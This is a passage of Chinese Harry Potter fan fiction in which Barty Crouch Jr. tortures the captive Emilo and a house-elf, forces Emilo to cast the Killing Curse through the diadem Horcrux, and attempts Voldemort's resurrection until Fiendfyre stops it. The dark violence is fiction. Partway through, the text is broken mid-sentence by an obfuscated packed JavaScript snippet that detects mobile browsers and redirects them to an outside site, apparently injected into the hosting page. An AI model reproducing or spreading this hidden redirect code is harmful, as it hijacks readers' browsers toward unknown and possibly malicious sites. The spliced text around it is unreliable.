“懂了吗?学长,”小巴蒂阴冷的气息吹拂在他湿透的耳侧,声音里带着一种令人胆寒的、施虐后的平静,“这就是被死神一点点追上的感觉。看清楚了吗?巫师比麻瓜高贵的一点就在这里——我们能更清晰、更可控地体验这种极限,而不是像他们一样,只能在意外和疾病中被动地、丑陋地迎接终结。” “……你怕死?”埃米洛气息微弱地反问,湿透的头发耷拉在额前,水珠不断沿着眉骨和鼻梁流下。“和你那所谓的父亲一样?这难道不是一种胆小鬼的行为么?” 他觉得好笑,笑黑魔王和他的信徒都如此惧怕世间最普遍,谁也逃不开的规律。 小巴蒂居高临下地看了他一眼,那眼神深不见底。“我不希望你死,我希望你和父亲一样长生,我们三个一起。” “所谓的长生都是假的,没有人能绕过死神。”埃米洛咳出最后一口水,深吸一口气,脑中突然闪过了戈德里克山谷詹姆和莉莉的墓碑,还有艾莲娜的……他觉得他可能触碰到了小巴蒂深层的心理,这是一个机会:“你不应该惧怕它,逝去的人……他们以另一种方式残存在我们的记忆中,所有逝去的都会以另一种方式回来……” “是啊,”小巴蒂呢喃道:“你还是懂我的……我也正是在做这样的事情。” 埃米洛顿时产生了一种鸡同鸭讲的无力感,刚打算继续开口,就见他举起了魔杖。 “Langlock。”(锁舌封喉)埃米洛顿时感觉自己的舌头仿佛被瞬间冻僵、粘在了上颚,再也发不出任何音节。 “不好意思,我实在是有些不放心,”小巴蒂的语气恢复了那种令人不适的轻快,“请你别再想着自杀。这样你还能在这里呆得舒服点。如果你再让我看到你有这样的念头……” “你忘了伯莎·乔金斯还在我们手里了吗?嗯?她的生命安全,可全系于学长你的一念之间了。” 他直起身,示意一直候在门口、瑟瑟发抖的闪闪:“把他弄干净,送回去。记得多加点生死水,别让他做噩梦。” 这次濒死的体验显然吓坏了彼得,也彻底激怒了小巴蒂。他好几天都没来找他说话。家养小精灵闪闪毫无疑问地和她的主人站在同一阵线。她将浑身湿透的埃米洛粗暴地扔回卧室的床上,没有给他一件干爽的衣服。壁炉里也没有生火。 潮湿的衣服紧紧贴在皮肤上,贪婪地吸收着他体内本就稀薄的热量。埃米洛蜷缩起来,冬日的寒意透过石墙,透过单薄的湿衣,毫无阻碍地渗透进来,冻得他牙齿格格打颤,几乎感觉不到四肢的存在。冰冷的布料如同第二层皮肤,却又带着浸透骨髓的寒意。 第二天早晨醒来时,他感到喉咙如同被砂纸打磨过般干痛,头像要裂开一样沉重剧痛,每一次呼吸都带着滚烫的温度,而身体却一阵阵发冷——他在发烧,而且烧得不轻。 寒冷是从骨髓里渗出来的。一阵阵剧烈的战栗不受控制地席卷过他全身,牙齿磕碰发出细碎而清晰的“咯咯”声,在过分安静的房间里显得格外刺耳。四肢沉重得如同灌满了铅,又像是被无形的冰层冻结,连抬起一根手指都需耗费巨大的、他根本不存在的力气。每一次呼吸都扯得喉咙和胸腔锐痛,吸入的是阴冷潮湿的空气,呼出的却是滚烫灼人的气息,冰火两重天在他体内激烈地拉锯。 眼前的一切都蒙上了一层扭曲晃动的水雾。斑驳的天花板在视野里旋转、变形,偶尔能捕捉到窗外投入的、黯淡的天光,判断不出时辰。听觉却变得异常敏锐,又或者说,是被高烧放大得近乎诡异。他能听见自己心脏在耳膜里沉重又急促的擂动,听见血液在血管里汩汩流动的嗡鸣,甚至能听见灰尘在冰冷空气中缓缓沉降的细微声响。 他只在一片混沌的痛苦中感知到闪闪的到来。家养小精灵没有发出任何声音,像一道沉默而充满怨气的阴影,粗鲁地撬开他因高热而干裂起皮的嘴唇,将一杯冰凉的、掺杂了额外剂量镇定或削弱魔力药剂的牛奶强行灌了进去。 液体滑过灼痛的喉咙,带来短暂的舒缓,随即是更深的、源于魔药本身的冰冷阻塞感在体内蔓延开。他无力反抗,甚至无法做出一个厌恶的表情,只能在呛咳中被灌入大部分,奶渍混合着之前咳出的血丝,狼狈地淌下下颌。闪闪看着他这副惨状,巨大的眼睛里没有丝毫怜悯,只有一种近乎解恨的、扭曲的快意,随即又像躲避什么瘟疫般迅速消失了。 他再次陷入昏迷。梦境光怪陆离,破碎而不祥,充斥着冰冷的水、刺眼的绿光、还有无数模糊的、哭泣哀求的面孔——都是曾经被他删除过的记忆碎片。可在生死水的作用下,他又醒不来,浑身冷汗,心脏狂跳,却分不清那恐惧是源于梦境,还是现实处境投射在精神上的阴影。 再次睁开眼时,窗外已是黄昏。 残阳的血色光芒从未如此清晰地映入他的眼帘——夕阳像一枚巨大的、正在渗血的伤口,悬在远山黯淡的轮廓线上,将稀疏的云朵和房间内部都染上了一种浓稠的、不祥的暖橘红色调。这光线并不温暖,只是徒劳地给冰冷的墙壁镀上一层虚假的暖色,反而更衬出室内的阴冷与死寂。 他怔怔地望着那轮落日,意识在高烧的泥沼中艰难地挣扎,几乎生出一种虚幻的平静感。仿佛那光是某种遥远过去的回声,或是通往另一个平和世界的裂隙。 “我说了,让你照顾好他。” 那声音不高,甚至算得上平稳,但其中蕴含的冰冷压迫感让空气都几乎凝固了。 埃米洛眼珠极其缓慢地转动,视线艰难地聚焦。他看到闪闪跪在床尾不远处的冰冷地板上,整个瘦小的身体几乎匍匐下去,长鼻子紧贴着石面,抖得像一片被狂风肆虐的叶子。她没有尖叫,没有争辩,甚至没有像往常一样立刻惩罚自己,只是一种纯粹的、几乎凝成实质的恐惧笼罩着她。 小巴蒂就站在她面前,背对着窗户,残阳在他周身勾勒出一圈血红色的边缘,面容却隐在阴影里,看不真切。他没有提高声调,也没有做出任何夸张的动作,只是手腕微抬,魔杖指向瑟瑟发抖的小精灵,念了一句低不可闻的咒语。 闪闪猛地一抽,发出一声被极力压抑下去的、尖锐短促的哀鸣,像被无形的东西狠狠蜇了一下心脏。她猛地蜷缩起来,指甲刮擦着地面,身体剧烈地颤抖着,仿佛正承受着某种源自体内的、钻心剜骨般的痛苦。她甚至不敢翻滚,只是死死蜷着,忍受着那持续的折磨。 埃米洛静静地看着,高烧让他的情绪也变得隔膜起来,愤怒或同情都显得遥远而费力。 不知过了多久,那无形的惩戒才停止。闪闪瘫软在地,只剩下细微的、断续的抽噎。 小巴蒂这才转向床边。他手里拿着一瓶琥珀色的魔药,步伐平稳地走近。他在床沿坐下,动作甚至称得上有种诡异的轻柔。他伸出手,穿过埃米洛的颈后,将他的头稍稍托起,然后垫在自己的腿上。 这个姿势让埃米洛不得不更近距离地面对他。小巴蒂垂着眼,脸上没什么表情,既没有愤怒,也没有伪装的委屈或狂热,只有一种全神贯注的、近乎审视的平静。他拔开瓶塞,用银质的小勺舀起一勺魔药,耐心地、一丝不苟地喂到埃米洛干裂的唇边。 魔药带着薄荷般的清凉和一丝苦涩,滑过灼痛的喉咙,暂时压下了那磨砂般的质感。埃米洛无力拒绝,只能被动地一勺一勺吞咽。他的目光越过高烧带来的水雾,越过了小巴蒂的肩膀,再次望向那扇窗。夕阳又下沉了一些,血色愈发浓重。 然后,他感到小巴蒂用手指轻轻拂开他额前被冷汗浸湿的头发。指尖的温度透过皮肤传来,与他自身滚烫的体温和周围空气的冰冷形成了诡异的对比。接着,一块浸过冷水的毛巾被搭在了他的前额,带来瞬间刺痛后的舒缓。 那只手并没有立刻离开,而是缓缓下移,盖住了他的眼睛。 黑暗降临,隔绝了窗外那点残存的光明。那手掌的温度,比他发烧的额头要凉,却又比这地牢里任何东西都要温暖。一种极其荒谬的感觉攫住了埃米洛。施虐者与照料者的形象在这个青年身上疯狂地交织,撕裂又重合。那冰冷的残酷是真的,那不耐烦的残忍是真的,但此刻这看似精心的、甚至带着某种扭曲占有欲的照料……似乎也是真的。 他忽然清晰地意识到,小巴蒂之前所说的——“你对我很重要”——并非完全的谎言或纯粹的演戏。在这种疯狂、破碎、完全扭曲的语境下,这句话竟然拥有了一种可怖的真实性。 埃米洛没有立刻闭上眼睛。他固执地睁着,透过对方指缝间漏出的些许红色光晕,死死盯着那一点点被切割得支离破碎的、微弱的光明…… 过了很久,久到小巴蒂维持这个姿势的腿可能已经发麻,久到退烧魔药的效力彻底上来,带来一阵无法抗拒的、沉重的疲惫感,将他拖向昏睡的深渊,埃米洛才终于闭上了眼睛。 38.父亲与冠冕 也许是因为受到了小巴蒂的惩罚,生怕再次触怒主人,接下来的几天,出于对病人的特殊照顾,闪闪递给埃米洛的食物里,那些魔药的剂量减少了许多。 家养小精灵毕竟不是专业的治疗师或魔药师,对于剂量的把控不可能完全精确,尤其是在主人命令模糊和自身恐惧交织的情况下。 这正是埃米洛想要达到的效果……虽然四肢仍然沉重无力,但那种深入骨髓的滞涩感和昏沉欲睡的感觉减轻了不少。埃米洛开始尝试更积极地冲击那些阻塞的魔力脉络。再次握住那根魔杖时,依然被狠狠地电击了一下,整条手臂瞬间麻痹,但这次,混乱的魔力没有再次爆炸将他掀飞。 至少这是一个微小的进步……他继续在闪闪面前装病,表现出比实际更虚弱的样子,咳嗽,喘息,甚至偶尔在吃饭时让勺子“无力”地掉落。尽可能地降低对方的戒心,争取更多恢复的时间和空间。能找回一点状态算一点,至少要恢复到能够施放几个基础咒语的程度——铁甲咒、开锁咒…… 同时,他发现了克劳奇庄园里隐藏的另一双“眼睛”。那是床头柜上的一张魔法全家福。 照片里,老巴蒂·克劳奇表情一如既往的严肃刻板,年轻许多的小巴蒂站在他们中间,年龄还很小…… 埃米洛注意到,克劳奇夫人的影像似乎比其他两人更“活跃”一些。她的眼神不像照片中其他两人那样固定在某个方向,偶尔会微微转动,目光似乎会掠过照片的边框,投向房间内部。嘴唇有时会几不可察地嗡动,仿佛在无声地诉说着什么。 画像的意识与生前的魔力强弱、以及修补它们的精细程度有关。像克劳奇夫人这样似乎保留了一定自主意识和活动能力的画像,绝非有钱就能办到,老巴蒂·克劳奇一定在上面花费了巨大的心思和魔力,或许是为了纪念,或许……是为了某种监视或陪伴。 他尝试与画像沟通,但只要他说话,克劳奇夫人的影像就会立刻变得僵硬。迅速移开目光,或者干脆转身,消失在照片的背景深处,留下一个哀伤而沉默的背影。 被关了快有五十天左右的时候,他又见到了彼得。这次彼得跟在小巴蒂身后,眼神躲躲闪闪,甚至不敢看向埃米洛的方向,整个人缩成一团,比平时更像一只受惊的老鼠。 “知道这是什么吗?”小巴蒂的声音里带着一种压抑不住的兴奋和炫耀。 他从巫师袍的口袋里小心翼翼地取出一件东西。那是一顶白银打造的冠冕,工艺极其古老精湛,上面镶嵌着硕大的、如同澄澈夜空般的青蓝色宝石。冠冕周身散发着一种莹莹的、冷冽而神圣的白光,照亮了小巴蒂苍白的手指,也映亮了埃米洛毫无血色的脸。 “这是拉文克劳的冠冕。”小巴蒂没有等他回答,便自顾自地说道,语气近乎虔诚。他拿着冠冕,在埃米洛身边坐下,转动着它,示意埃米洛看底座上铭刻的一行细小的文字:“看这里。” 埃米洛的目光下意识地扫过那行字——过人的智慧是人类最大的财富。 和传说中一模一样……这很可能是真品!埃米洛的思维瞬间清醒,高速运转起来。这东西怎么会落到小巴蒂手里?它不应该…… 紧接着,一个冰冷的概念如同毒蛇般窜入他的脑海:魂器。 他想到了那个被雷古勒斯·布莱克那个交出来、最终由他和邓布利多确认并摧毁的斯莱特林挂坠盒。这个冠冕,这个充满传奇色彩、象征着智慧与知识的圣物,是否也遭到了同样的亵渎? 似乎是为了印证他最坏的猜想,小巴蒂的声音紧接着响起,带着一种沉醉般的狂热:“里面……保存着我父亲最精华的一部分。有了它……我的父亲就能归来……获得更强大的、永恒的新生……” 他很满意地欣赏着埃米洛骤然绷紧的下颌线和眼中无法掩饰的震惊,慢条斯理地又掏出了另一样东西。一个小巧的玻璃瓶,里面晃动着暗红色的、粘稠的液体。 血液。 埃米洛的目光瞬间变得锐利如刀,猛地射向躲在门框后的彼得·佩迪鲁!那目光中的愤怒和鄙夷几乎化为实质。彼得仿佛被无形的东西烫到,猛地缩回头,彻底躲到了门后,连衣角都不敢露出来。 “看来你知道这是谁的了……”小巴蒂愉悦地低笑起来,笑声在空旷的房间里显得格外瘆人,“废了我不少功夫……但显然,你另一位好室友不想让他的教子憋坏了,带他去了趟对角巷……学长,我记得那家商店原来是你家的?……你后悔吗?” 他轻轻抛动着那个小瓶子,暗红色的液体在玻璃壁上留下粘稠的痕迹。 “别这么沉默嘛……放心,我可没对他们做什么。毕竟对角巷人多眼杂,我只是让我们的救世主小男孩在挑选猫头鹰食槽时,不小心被挂钩划了一下手指而已。” 他歪着头,笑容天真又残忍,“你看,我是不是想得很周到?只需要一点点……就足够了。” “克……克劳奇……”彼得尖细颤抖的声音从门后传来,带着哭腔,“我们……我们什么时候走……” “这里哪里有你说话的份了?”小巴蒂笑着回头,语气轻柔,却让彼得的话音戛然而止。下一秒,门外传来“嘭”的一声轻响,以及一阵急促的、爪子挠地的窸窣声——彼得又变回老鼠溜走了。 小巴蒂转回头,目光重新聚焦在埃米洛身上。那目光让埃米洛有一种不详的预感。他用一种近乎小心翼翼、无比虔诚的态度,将那只闪烁着不祥白光的白银冠冕,缓缓戴到了埃米洛的头上。冰冷的金属触感贴上额头的皮肤,带来一阵战栗。紧接着,更诡异的感觉袭来。 埃米洛感到头部一阵剧烈的眩晕,仿佛有什么阴冷、滑腻的东西正顺着冠冕接触的位置,试图钻入他的大脑,渗进他的灵魂。耳边响起无数模糊不清的低语,像是从极遥远的地方传来,又像是直接响彻在脑海深处。这些低语放大着他内心积攒多日的一切负面情绪——对哈利处境的担忧、对小巴蒂疯狂行径的愤怒与怨恨、对自身无能的自责、对伯莎和父亲的焦灼……所有这些情绪如同被投入催化剂的化学溶液,瞬间沸腾、膨胀,几乎要将他吞噬! “我就知道学长你会很适合这个,”小巴蒂捧起他的脸,痴迷地端详着,仿佛在欣赏一件完美的艺术品,“脆弱又坚韧……这流光溢彩的灰蓝色,是拉文克劳的颜色……你当初真该对分院帽要求分到拉文克劳的,斯莱特林也很合适,而不是格里芬多……那里根本配不上你。” 小巴蒂将几乎无法自主行走的埃米洛从椅子上扶起来,搀扶着他走出卧室。克劳奇庄园的内部比外观看起来更加庞大复杂,走廊幽深曲折,仿佛没有尽头。 他们从一个摆满厚重法律书籍的书架后隐藏的暗门进入,沿着一条向下延伸的、湿滑的石阶盘旋而下。空气变得愈发阴冷潮湿,带着霉味和尘土的气息。 小巴蒂打了个响指,墙壁上嵌着的古老油灯次第亮起,投下摇曳昏黄的光晕,勉强照亮前路。走下最后一级台阶,眼前的景象让埃米洛的心猛地一沉。 魔法部的审讯室。这是他的第一反应。 太像了——中间那把用来固定犯人的、带着镣铐的椅子,周围呈阶梯状层层升起的、空无一人的旁观席,最前方那高高在上的、属于法官的案台……甚至连那种冰冷、肃杀、不容置疑的氛围都模仿得惟妙惟肖。 但这里并非简单的模仿。房间中央的地面上,铭刻着一个巨大的、线条复杂无比的六芒星法阵,散发着幽幽的、不祥的微光。法阵的正中央,架着一口巨大的、黄铜坩埚,埚内盛满了如同钻石般晶莹剔透、却又不断翻滚冒着气泡的液体,散发出刺鼻的魔法气息。 刚才逃走的小矮星彼得正站在坩埚边,用一根骨白色的魔杖拼命搅拌着埚内的液体,脸上满是恐惧和汗水。六芒星的六个角上,分别放置着几样令人心悸的物品:那个装着哈利血液的小瓶、一截血淋淋的断指(毫无疑问属于彼得),以及……一口紧闭的、打磨得光可鉴人的黑檀木棺材。 “很像,是吧?”小巴蒂的声音在他耳边响起,带着一种复杂的、混合着憎恶与怀念的诡异情绪,“我小时候,就是在这里……哪怕只是发音不够准确,或者用餐姿势稍有偏差,都会被带到这里。我不是他的儿子么?不,在这里,我只是他的犯人……一个需要被不断‘矫正’的瑕疵品……” 他把埃米洛带到旁观席的第一排坐下,然后抽出了那根一直属于埃米洛、却被强行改造过的魔杖。那根魔杖在小巴蒂手中异常温顺,仿佛天生就该被他掌握。 小巴蒂轻轻一挥—— 轰隆! 伴随着锁链摩擦的沉重声响,两个锈迹斑斑的铁笼子从法阵旁边的地下升了起来,恰好落在六芒星的两个角上。埃米洛的瞳孔骤然收缩! 其中一个笼子里,蜷缩着一个人影——是罗杰!他看上去奄奄一息,衣衫褴褛,裸露的皮肤上带着伤痕,花白的头发沾满污垢,眼睛紧闭着,只有在胸口微弱的起伏证明他还活着。寒冷的空气显然让他的腿疾雪上加霜,他即使在昏迷中也无意识地蜷缩着双腿。 另一个笼子里,关着一个穿着破烂黑色长袍、瘦骨嶙峋的男人,他正惊恐万状地抓着笼子的铁条,眼睛瞪得几乎脱眶——是博金-博克商店的那个黑心店主! “惊喜么?学长。”小巴蒂用那只握着魔杖的手,覆上了埃米洛冰冷而无力的手指,强迫他一起握住那根冷杉木魔杖。埃米洛能感觉到对方的手心因为兴奋而渗出汗水,湿冷粘腻。“来看看,我为你准备的……审判席。” 又是轰隆一声巨响!天花板上垂下粗重的铁链,吊着一个人形的物体,重重地坠落在六芒星最后一个空着的角上。那是老巴蒂·克劳奇!他面色呈现出死人的青灰,眼睛怒目圆睁,仿佛凝固了最后的惊怒和不甘,看上去已经死去多时了。 “啊——!”博金-博克发出一声凄厉至极的惨叫,整个人瘫软在笼子里,“你……你不能!你答应过的!我……我帮你连通了消失柜,我帮你——帮你进入了霍格沃茨!你,你不能……!” 他语无伦次地尖叫着:“我……我是无辜的啊!你不能杀我!” 埃米洛猛地想起了之前审讯埃弗里的家养小精灵皮普时看到的记忆画面:食死徒的集会场所,圆桌上方也是类似这样吊着一具尸体……一种冰冷彻骨的恶寒顺着他的脊椎爬升。 “你还记得他么?”小巴蒂没有理会博金的尖叫,用魔杖指向关着罗杰的笼子,问博金。 “我,我我我我,我当然还记得!”博金仿佛抓住了救命稻草,语速快得几乎咬到舌头,“他十几年前常来我的店里打巫师牌!欠了一大笔钱……不过后来倒是一直在还……很守信用!” “你对他做了什么?”小巴蒂继续问。 “我?我什么都没做啊!”博金的眼神疯狂闪烁。 似乎被小巴蒂的目光吓破了胆,他狠狠咽了一口唾沫,“我……我就是……就是欺负他是新人……不懂行情……调整了一下利率……本来没这么多的……真的,只有一点点,一年就能还清……哈,哈哈,哈……” 埃米洛抿紧了苍白的嘴唇。他想起他的学生时代,那些压力,痛苦,家庭的破碎……原来背后还有这样的黑手。 “你说他们,是不是都该死?学长。”小巴蒂亲昵而阴冷地凑近他的左耳,低语着,握着埃米洛手指的手收紧了些,“如果没有他们,你的学生时代会过得轻松很多,不是吗?不用背负沉重的债务,不用看人脸色……” 几乎同时,另一个更加阴冷、滑腻的声音,仿佛直接从他右耳钻入,蛊惑着他的心智:“没有他们……你和艾莲娜或许早就开了一家属于自己的小店,安稳度日……没有无休无止的打工还债,没有因为贫穷而不得不披上的冷漠外壳,没有因此产生的隔阂和怀疑……如果你能和室友们关系更密切些,说不定那只老鼠就不会被临时换为保密人……詹姆和莉莉或许就能像隆巴顿夫妇一样幸免于难……一切的不幸,都是因为他们……因为这些蛀虫……” 因为他们……因为他们……因为他们…… 低语声越来越响,如同无数只蜜蜂在颅内轰鸣,疯狂地放大着他潜藏的怨恨与不甘。埃米洛感到自己的呼吸变得急促,握住魔杖的手指因为用力而微微颤抖。 冠冕紧紧箍着他的额头,冰冷与灼热交替,那股外来的黑暗意志正疯狂地侵蚀着他的理智。 “就是这样……”小巴蒂眼中迸发出兴奋到极点的光芒,他感受到了埃米洛情绪的波动,“他们都是十恶不赦的罪人……阻碍了你,也阻碍了我……只要同我一样,愉快地斩断这些腐朽的过去,获得新生!真正的、纯粹的新生!” 杖尖开始凝聚起熟悉的、不详的绿光。他牵引着埃米洛的手指,缓缓抬起魔杖,冰冷的杖尖精准地指向了笼子里吓得几乎失禁的博金-博克。 “念吧……”他在他耳边嘶嘶低语,气息灼热,“你知道那个咒语的……你知道的……” 念吧念吧念吧念吧……脑海里的低语在催促,如同魔鬼的合唱。 只有大火焚烧殆尽,才能带来草场的新生;火山爆发毁灭一切,才会留下肥沃的土壤;凤凰浴火而后涅槃……念吧,你所有的愤怒、委屈、不甘,都会在今夜得到彻底的清算和释放! 你知道咒语的。 “阿瓦达索命。”埃米洛跟着小巴蒂的声音,如同梦呓般,轻轻地、清晰地念出了那个禁忌的咒语。一道刺目的绿光从杖尖喷射而出,精准地没入博金-博克的胸膛。 小巴蒂兴奋的站了起来,然而,他预想中的瞬间死亡并未发生。博金只是像是被人当胸重重打了一拳,猛地向后撞击在铁笼上,发出一声痛苦的闷哼,鼻子里流下了两道鲜血。 他惊恐地摸着自己的胸口,发现自己还活着,开始发出更加歇斯底里的尖叫。 蜷缩在另一个笼子里的罗杰似乎被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186199|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的动静和魔法的波动惊醒。他艰难地睁开眼,恰好看到博金在笼子里痛苦抽搐、尖叫的这一幕,也看到了被小巴蒂挟持着、手中握着魔杖的埃米洛。老人的眼睛里瞬间充满了难以置信的震惊和痛苦浑浊的泪水,他挣扎着向前伸出手,喉咙里发出模糊的嗬嗬声。 “恨意不够!远远不够!”小巴蒂暴躁地低吼一声,猛地卡住埃米洛的脖子,将他狠狠按在面前的硬木桌面上,力量大得几乎要捏碎他的颈椎,“你不恨他吗?!他偷走了你本该轻松的年少时光!他是你痛苦的根源之一!为什么你的杀戮咒里没有恨?!为什么!” “别……”罗杰艰难地发出微弱的声音,泪水划过他肮脏的脸颊,留下清晰的痕迹,“……别……” 埃米洛被压制的无法动弹,却能清晰地看到父亲眼中的痛苦和哀求。那目光像一盆冰水,瞬间浇熄了冠冕在他心中点燃的邪恶火焰。他艰难地抬起眼,看向暴怒的小巴蒂,声音因为脖颈被扼住而断断续续,却带着一种清晰的、冷冽的穿透力: “不是所有人……都以恨意为生。也不是所有人……需要靠这种……方式,来确认自己的价值……” 他猛地一甩头,那个禁锢着他思维、放大他恶念的拉文克劳冠冕被他从头上甩脱,叮当一声滚落在前方的地上,转了几圈,停了下来。几乎在冠冕离体的瞬间,一股浓郁如墨的黑烟猛地从冠冕中窜出,直冲上天花板!那黑烟翻滚凝聚,形成一张模糊却无比恐怖的脸孔——一半异常英俊,带着蛊惑人心的魅力;另一半却如同熔毁的蜡像,狰狞可怖,散发着纯粹的恶意! “主人!”彼得·佩迪鲁发出一声尖叫,噗通一声五体投地,抖得如同筛糠。 “父……主人。”小巴蒂·克劳奇也立刻松开了埃米洛,带着一种混合了狂热、敬畏与恐惧的复杂神情,单膝跪地,低下了头。 埃米洛趁此机会,猛地从桌上滑下,矮下身,不顾一切地伸出手,去够那根滚落在不远处的、属于他自己的魔杖! “快点开始!别搞这些无聊的前奏了!”天花板上那张由黑烟构成的脸发出嘶哑而威严的命令,那双没有瞳孔的红色眼睛扫过全场。 “先解决掉碍事的!” 他的指尖刚刚触碰到冰冷的杖身,就听到身后父亲的笼子里传来半声急促而惊恐的惊呼! 罗杰死了。埃米洛心里一阵麻木。 他听到了小巴蒂高声吟唱起那古老而邪恶的咒语,声音因激动而颤抖: “父亲的骨,无意中捐出……可使你的儿子重生!” 砰! 那口黑檀木棺材的盖子猛地被一股无形的力量掀开,一具完整的、苍白的骷髅从棺中浮起,然后落入那口翻滚着钻石般液体的坩埚中。液面瞬间破碎,发出剧烈的嘶嘶声,火花四溅,蒸汽弥漫! 六芒星周围,两具“父亲”的尸体——老巴蒂·克劳奇和罗杰(刚刚断气)——都怒目圆睁地望着天花板,仿佛在无声地控诉。 不可以……不可以让伏地魔复活! “厉火……”埃米洛的脑海中瞬间闪过多年前在校长办公室里,邓布利多与他商讨如何摧毁魂器时说过的话,“……最危险的黑魔法之一,能吞噬、毁灭一切东西,包括魂器……” 埃米洛强行冲撞开体内那些尚未完全打通的、阻塞的魔力静脉,一股腥甜的液体猛地涌上喉咙,从他嘴角渗出。他无视了身体的剧痛和警告,将所有的意志、所有的魔力、所有的希望与绝望,都倾注到那根与他羁绊已断、却仍存有一丝微弱联系的魔杖中! “仆人的肉……自愿捐出……可使……我的主人……重生!”那边,小巴蒂吟唱着,将彼得那截断指扔开,自己抽出一柄银光闪闪的匕首,眼中闪烁着狂热的、奉献的光芒,朝着自己的左手手腕狠狠挥去! “但这也是最后的办法……厉火尤其容易反噬施咒者的灵魂,极难控制,哪怕是我,也没有百分之百的把握能驾驭它……” 最后一个要战胜的敌人是死亡。 埃米洛非常非常轻地,低下头,吻了一下那不断迸出火花、剧烈震颤、试图拒绝他的冷杉木魔杖。 帮帮我吧。 他在心中无声地呐喊,将魔杖紧紧贴在自己剧烈跳动的心口。帮帮我……就像过去无数次那样……这是最后一次了……以后,也许就再也没有机会了…… “仇人的血……”小巴蒂转身,目光灼灼地看向地上那瓶血。 彼得颤抖着,目光也与埃米洛碰到了一起:“等等等……等一下!——!” 他往前走了一步:“还——还不够时间——” 他拦住了去捡瓶子的小巴蒂。 “Fiendfyre!(厉火)” 趁着这个间隙,埃米洛用尽全身力气念出了那个咒语! 魔杖尖端没有喷出炽热的火焰,而是爆发出一股粘稠、滚烫、如同沥青般的黑暗物质!但这物质在离开杖尖的瞬间就被点燃了! 那火焰并非凡间之火,它是炼狱深橙色与不祥血红色的恐怖交织,而它的核心,却是一种吞噬一切光线的、纯粹的漆黑!它发出的不是燃烧的噼啪声,而是无数饥饿野兽的咆哮、受折磨灵魂的尖啸混合而成的、令人头皮发麻的恐怖声响! 这团初生的厉火一接触空气,立刻开始疯狂地自我塑形、增殖、膨胀!它不再是火焰,而是一个由纯粹暴虐和恶意构成的、拥有生命的毁灭巨浪! 它化作一头巨大的、由火焰构成的雄狮,发出震耳欲聋的咆哮,首先扑向空中那张由黑烟构成的、伏地魔的脸! “不——!”小巴蒂发出撕心裂肺的、难以置信的尖叫。 厉火雄狮一口便将那团黑烟吞噬殆尽,那恐怖的脸孔连惨叫都未能发出便彻底消散。接着,火焰毫不停歇,如同奔腾的熔岩洪流,猛地冲向六芒星中央那口正在发生可怕变化的坩埚! “轰——!!!” 坩埚无法承受厉火那毁灭性的能量,瞬间爆炸开来!滚烫的液体、碎裂的骸骨、蒸腾的蒸汽混合着暴走的魔法能量,形成一股可怕的冲击波,向四周猛烈扩散! 埃米洛首当其冲,被这股巨大的气流狠狠掀飞,撞向身后的石壁,然后重重摔落在地。 他咳出一大口鲜血,感觉全身的骨头仿佛都碎了,意识迅速被剧痛和黑暗吞噬。周围的空气被恐怖的高温烤得扭曲变形,热量并非温暖,而是一种灼烧灵魂的剧痛。地面上的法阵、笼子、座椅……一切都在被厉火贪婪地吞噬、气化,连灰烬都难以留下。整个地下空间充满了刺鼻的硫磺和灼烧的魔法气息,宛如地狱降临。 你们不会成功的…… 他感觉自己体内的热量,魔力,都飞快的流逝……在彻底陷入昏迷的前一刻,埃米洛涣散的视线看到小巴蒂·克劳奇如同从地狱爬出的怨鬼,拖着鲜血淋漓的断腕,脸上混杂着极致的愤怒、疯狂和一种被彻底背叛的痛苦,不顾一切地朝着他扑来…… 你永远不会成功的。 39.小精灵闪闪 “乔金斯学姐……” 昏昏沉沉中,伯莎听见有人叫她,她勉强翕动了下眼睫,眼皮重得像黏了松脂,每一次掀动都扯得太阳穴突突发疼—— 手臂沉得如同灌了铅,稍微动一下,神经就跟着抽痛。肩膀和胯骨像是被冰冷的铁锤反复砸过,钝痛感顺着骨骼往骨髓里钻,连呼吸都带着牵扯的疼。地牢的石板很凉,带着潮气的阴毒,顺着脊椎往上爬,冻得她牙齿不受控制地打颤,上下牙磕碰的声音在空荡的地牢里格外清晰。 她蜷缩在角落,膝盖抵着胸口,试图把自己团成一团保存体温,可潮湿的空气像无孔不入的小蛇,钻进衣领、袖口,甚至顺着鼻腔钻进肺腑,让她每一次吸气都像吞了口冰水,肺叶发紧。窗外的雨不知下了多久,淅淅沥沥的声响像是永无止境的叹息,地上的干草垛吸饱了水汽,散发出霉烂混着腐朽的味道,黏在鼻尖上,挥之不去。 终于,她攒够力气睁开眼,模糊的视线里撞进一张熟悉的脸——彼得·佩迪鲁。 他的眼神躲躲闪闪,像偷了东西的老鼠,不敢与她对视,手指神经质地绞着衣角,指尖泛白,连指甲盖都透着紧张的青紫色。 沉默在他们中间弥漫了很长时间,彼得才犹豫着从怀里掏出个油纸包,里面裹着一块儿牛肉馅饼,还有一个温热的牛奶袋。 “多少吃一点吧,学姐,不然你会生病的。”他的声音很轻,带着不易察觉的颤抖,像是在恳求。 可那点温度在伯莎眼里,比粘痰还恶心。她闭上眼,脸转向墙壁,指甲抠进冰冷的石壁。 “我不想看见你。”每一个字都咬得极重,带着咬牙切齿的厌恶——她宁愿饿死,宁愿被这地牢的寒意冻僵,也绝不要接受他的施舍。 彼得的手僵在半空,油纸包上的酥皮簌簌往下掉。他低下头,额前的碎发遮住了眼睛,肩膀微微垮下来,像是被抽走了力气。他局促地搓着手,嘴唇动了动,似乎想说“我不是故意的”,又似乎想说“对不起”,最终却只是重重叹了口气,把食物轻轻放在地牢门口,脚步拖沓地往后退了两步。 伯莎闭着眼,脑海里却不受控制地闪回那天的画面——老克劳奇的魔杖对准她,杖尖的蓝光刺得她眼睛生疼。 “一忘皆空!” 她尖叫着抱头躲开,咒语擦着她的耳际射在墙上,溅起一片石屑。她闭着眼蹲在地上,心脏在胸腔里疯狂跳动,几乎要撞碎肋骨。 不知过了多久,周围没了动静。她颤抖着睁开眼,却看见彼得站在老克劳奇身边,对方已经倒在地上,昏迷不醒。 